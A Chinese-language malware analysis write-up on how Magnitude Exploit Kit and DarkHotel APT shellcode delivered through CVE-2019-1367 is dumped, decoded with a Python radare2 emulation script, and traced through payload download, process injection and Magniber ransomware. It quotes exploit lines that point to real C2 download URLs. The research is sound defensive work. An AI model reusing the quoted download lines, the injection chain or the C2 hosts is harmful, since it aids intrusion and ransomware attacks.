提取Magnitude Exploit KIT的shellcode
成功利用CVE-2019-1367后,将执行Magnitude Exploit Kit 恶意的shellcode指令,首先是一个简单的shellcode加载器,它负责以下工作:
- 通过kernel32!VirtualAlloc分配具有PAGE_EXECUTE_WRITECOPY权限的内存
- 使用kernel32!RtlMoveMemory()将shellcode复制到分配的内存中
- 通过CreateThread()启动shellcode
我们有不同的断点选项来dump未修改的shellcode,我们可以在CreateThread()上设置一个断点,并在第三个参数中dump内存指针,这是包含shellcode的内存区域,在我的测试环境中是在0x1a60000。
kernel32!CreateThread()断点:
在内存中位于0x1a60000的shellcode准备执行:
将shellcode转储到文件中
分析Magnitude Exploit KIT的Shellcode
在最后一节中,我们成功定位到了shellcode,并将其dump到一个文件中进行分析。有多种分析shellcode的方法,每种方法都有优缺点。我们将尝试以最有效的方式对这个shellcode进行逆向分析。
在radare2中加载shellcode,我们可以在入口点地址附近看到一些重要的提示:
这个shellcode的所有迹象表明它是由Shikata-ga-nai编码的:
- 使用FPU指令 (ffree st(2))
- 使用fnstenv获得EIP(此处EDX将保存FPU指令执行的最后一个地址)
- 应该存在简单的XOR循环指令解来解码,但目前我们还没有看到,我们必须模拟一些指令
注意:Shikata ga nai是一个多态异或编码模块,可以在Metasploit中Encoder/x86/Shikata_ga_nai中使用。该编码器实现了一个多态异或编码器。基于动态指令替换和动态块排序生成的。寄存器也是动态选择的。
使用radare2,我们可以通过命令“ aes ” 开始模拟第一条指令。我们继续模拟,直到看到循环指令,它是shikata_ga_nai XOR解码程序的一部分:
在这一点上,我们的假设是正确的,并且我们确认使用了Shikata ga nai。我们将使用radare2及其ESIL虚拟机堆栈进行模拟。我们将不得不考虑一个特殊的场景,因为ESIL没有FPU指令,所以,带有fnstenv的Shikata ga nai“获取EIP”技术将无法正常工作。
因此,我们将使用一个简单的技巧,包括检测第一个FPU指令执行的地方,并存储到栈顶,这基本上是简化了fnstenv指令。
注意:fnstenv将当前FPU操作环境保存在指定的内存位置,然后屏蔽所有浮点异常。FPU操作环境由FPU控制word、status word,、tag word、 指令指针、数据指针和最后一个操作码组成。
如注释所示,fnstenv做了很多事情,但我们只对获取指令指针感兴趣,也就是获取EIP,我们将按照以下步骤进行操作:
- 持续记录最后执行FPU指令的偏移量。
- 如果遇到fnstenv指令,请将最后一条FPU指令的偏移量复制到栈顶。
可以通过以下ESIL/r2pipe代码实现以上目标:
# hack to pass last FPU address to ESP directly
if current_op['family'] == 'fpu':
if current_op['opcode'].startswith('fnstenv'):
r.cmd('wv %d @ esp' % lastfpu)
else:
lastfpu = current_op['offset']
print("lastfpu at {}".format(lastfpu))
接下来,我们要使用以下步骤对shikata ga nai进行解码:
- 获取shellcode的基地址和shellcode的大小
- 如果发现了FPU指令,我们记录它被发现的位置
- 如果发现了fnstenv,我们将最后一条FPU指令的地址存储到esp(绕过未实现的fnstenv指令)
- 继续模拟解密,直到找到loop指令且计数器小于1
- 到达那里后,我们将所有字节都dump,解码后将其删除
在下面python3.x r2pipe代码,正是这样做的:
import sys
import r2pipe
import json
def initESIL():
r.cmd('e io.cache=true')
r.cmd('e asm.bits=32')
r.cmd('e asm.arch=x86')
r.cmd('aei') # init ESIL
r.cmd('aeim 0xffffd000 0x2000 stack')
r.cmd('.ar*')
r.cmd('aer esp=0xffffd000')
r.cmd('aer ebp=0xffffd000')
def dumpit(decoded_start, base, end, i):
raw = r.cmdj('p8j %d @ %d' % (end - (decoded_start - base), decoded_start))
bin_raw = bytearray(raw)
with open('shikata_ga_nai_decoded.sch', 'wb') as f:
f.write(bin_raw)
print("total number of instructions emulated {}".format(i))
def decode(r):
lastfpu = 0
lastloop = 0
decoded_start = 0
base = 0
end = 0
offset = r.cmdj('pdj 1')
base = offset[0]['offset'] # base address
end = r.cmdj('oj')[0]['size']
print("shellcode base = {}".format(base))
for i in range(100000):
current_op = r.cmdj('pdj 1 @ eip')[0]
if lastloop != 0:
decoded_start = lastloop
print ("Length of Decoder: {} bytes".format(decoded_start - base))
dumpit(decoded_start, base, end, i)
return
# hack to pass last FPU address to ESP directly
if current_op['family'] == 'fpu':
if current_op['opcode'].startswith('fnstenv'):
r.cmd('wv %d @ esp' % lastfpu)
else:
lastfpu = current_op['offset']
print("lastfpu at {}".format(lastfpu))
if current_op['opcode'].startswith('loop') and r.cmdj('arj')['ecx'] <= 1:
lastloop = current_op['offset'] + current_op['size'];
print("lastloop {}".format(lastloop))
r.cmd('aes')
print('[-] We emulated %d instructions, giving up' % i)
if len(sys.argv) != 2:
print('[*] Usage: %s sample' % sys.argv[0])
sys.exit(0)
r = r2pipe.open(sys.argv[1])
r.cmd('e asm.comments=false');
r.cmd('e asm.lines=false');
r.cmd('e asm.flags=false');
initESIL()
decode(r)
如果我们运行上面的代码,结果是得到解码后的shellcode:
解码完Shellcode,并解决Win32 API之后,我们就可以开始分析和反编译此Shellcode。经过我们的分析,下面是此shellcode的作用:
- 通过后续调用OpenProcessToken、GetTokenInformation、GetSidSubAuthority获取当前进程完整性级别,如下面的反编译代码所示:
检查SID结构的SubAuthority字段分别对应于0x1000和0x4000:
- SECURITY_MANDATORY_LOW_RID (SID: S-1–16–0x1000)
- SECURITY_MANDATORY_SYSTEM_RID (SID: S-1–16–0x4000)
根据当前的进程完整性级别,我们将在后面看到两个不同的执行路径。
一旦检查了当前权限,就创建一个HTTP请求来下载payload:
请求的当前URL:http://pophost[.]website/fz7bf0bh21atbt
我们注意到,完整性级别被传递到HTTP请求,在文件下载请求期间直接附加到文件名称。似乎下载的payload是不同的,这取决于我们是否处于较低完整性级别。
在payload被下载后,它将根据完整性级别注入目标进程的内存中。如果当前进程的完整性级别较低,则将payload被注入到当前进程中(这里是internetexplorer)。
如果当前进程有任何不同于低完整性级别(例如中,高或系统完整性级别),则shellcode将遍历正在运行的进程,并将注入具有中或高完整性级别的进程:
最后,shellcode使用的进程注入机制是通过目标进程中的WriteProcessMemory,其中通过VirtualAllocEX分配空间,然后通过CreateRemoteThread执行payload:
这个shellcode下载和注入的payload也是一个shellcode:
这里将使用与分析第一个shellcode相同的技术。我们模拟了前几条指令,并且确实有了另一个shikata ga nai编码的shellcode:
我们将运行与第一个shellcode解码和提取完全相同的脚本,该脚本正常运行后并将其全部解码:
这个shellcode将解密并加载最终在taskhost.exe内部运行的Magniber勒索软件。
我们可以看到大量的CPU并发读写IO,在taskhost.exe消耗量50%的CPU。
最后,在加密过程完成后,当用户试图手动杀死感染的taskhost.exe进程时,会加载一个勒索通知:
提取Darkhotel APT的shellcode
通过分析Windows中浏览器利用,似乎大多数浏览器利用都有一个共同的“瓶颈”指令,即kernel32!VirtualProtect。
如上所述,此函数为Shellcode授予执行权限。只需在此函数上设置一个断点,便可以找到在其第一个参数中传递的shellcode。
分析DarkHotel APT 32bits的shellcode
由于与Magnitude EK 的shellcode有区别,DarkHotel APT shellcode不会被混淆,仅需单步执行指令,即可对shellcode进行非常简单的分析。
简而言之,shellcode检查当前进程是否为“svchost.exe”。如果没有,它会使用exploit中的var b
中的url再次将自身作为PAC文件下载,其中包含WinHttpGetProxyForUrl:
var b = "http://202.122.128.28/js/client/index/186.js";
当此exploit作为PAC文件加载时,检索到的进程名称将为“ svchost.exe”,并且shellcode下载并执行该文件。
下载的文件在exploit中的var a
进行配置:
var a = "http://202.122.128.28/js/client/index/user_list.db";
下载的文件是一个PE文件,前两个字节破坏了MZ标头。前两个字节被JP替换(可能是针对日本的?)。
该文件是一个DLL,带有一个export_init,似乎在运行一些主机指纹识别,最终调用home从C2服务器下载和执行额外的文件:
hxxp://www.largeurlcache.com/ixx/u3/qmgj.32
hxxp://www.largeurlcache.com/ixx/u3/scrobi.32
hxxp://www.largeurlcache.com/ixx/u3/qmgj.64
hxxp://www.largeurlcache.com/ixx/u3/scrobi.64
注意:在此DLL(ColdBrew32.dll)中找到一个字符串。
在分析时,文件已从C2中删除,因此我们无法继续进行分析。
但是,与日本CERT分析报告中一个非常相似的攻击,研究人员使用了一种Gh0st RAT变体作为payload。
最后的想法
在野捕获的DarkHotel APT CVE-2019-1367 exploit 是一段相当复杂的代码。Magnitude Exploit KIT使用了相同的DarkHotel x32 exploit,对其进行了一些修改,以便能够运行自己混淆后的shellcode,并绕过韩国安全厂商的反恶意软件解决方案。
根据攻击的时间轴,这似乎是Magnitude Exploit KIT参与的又一exploit整合。尝试对原始DarkHotel APT漏洞进行任何修改都需要对漏洞的工作原理有足够了解,这不是一件容易的事(不像替换shellcode字节那样容易)。这表明Magnitude EK也具备出色浏览器利用技术,而这也是他们过去10年的主要收入来源。
至于DarkHotel APT,它们在技术和资源方面仍处于领先位置,其复杂程度绝对是创新者,因为他们有能力从零开始创建0-day攻击,并创建新的攻击和工具包。
最后,我们希望这个系列文章能够对Magnitude EK和DarkHotel APT技术以及在野使用的漏洞有所启发。
以下是我们针对DarkHotel APT在2020年1月6月之间进行的CVE-2019–1367利用活动的IOC列表:
在STIX v2.1中可以在这里找到与IOC相关的信息。
以下是2020年1月至6月期间Magnitude EK对CVE-2019-1367进行利用的IOC清单:
可以在这里找到STIX v2.1中的完整的EK IOC 。
最后,这是帮助我们完成这项研究的参考文章列表。
参考文章:
- https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer
- https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html
- http://download.ahnlab.com/global/brochure/%5BAnalysis_Report%5DMagniber%20Ransomware.pdf
- https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/
- https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf
- https://blog.tetrane.com/Analysis_of_CVE_2018_8653_Memory_Management.html
- https://doar-e.github.io/blog/2017/12/01/debugger-data-model/
- https://radareorg.github.io/blog/posts/unpacking-shikata-ga-nai-by-scripting-radare2/
- https://github.com/sam-b/windbg-plugins/blob/master/heap%20tracing/heap_trace.js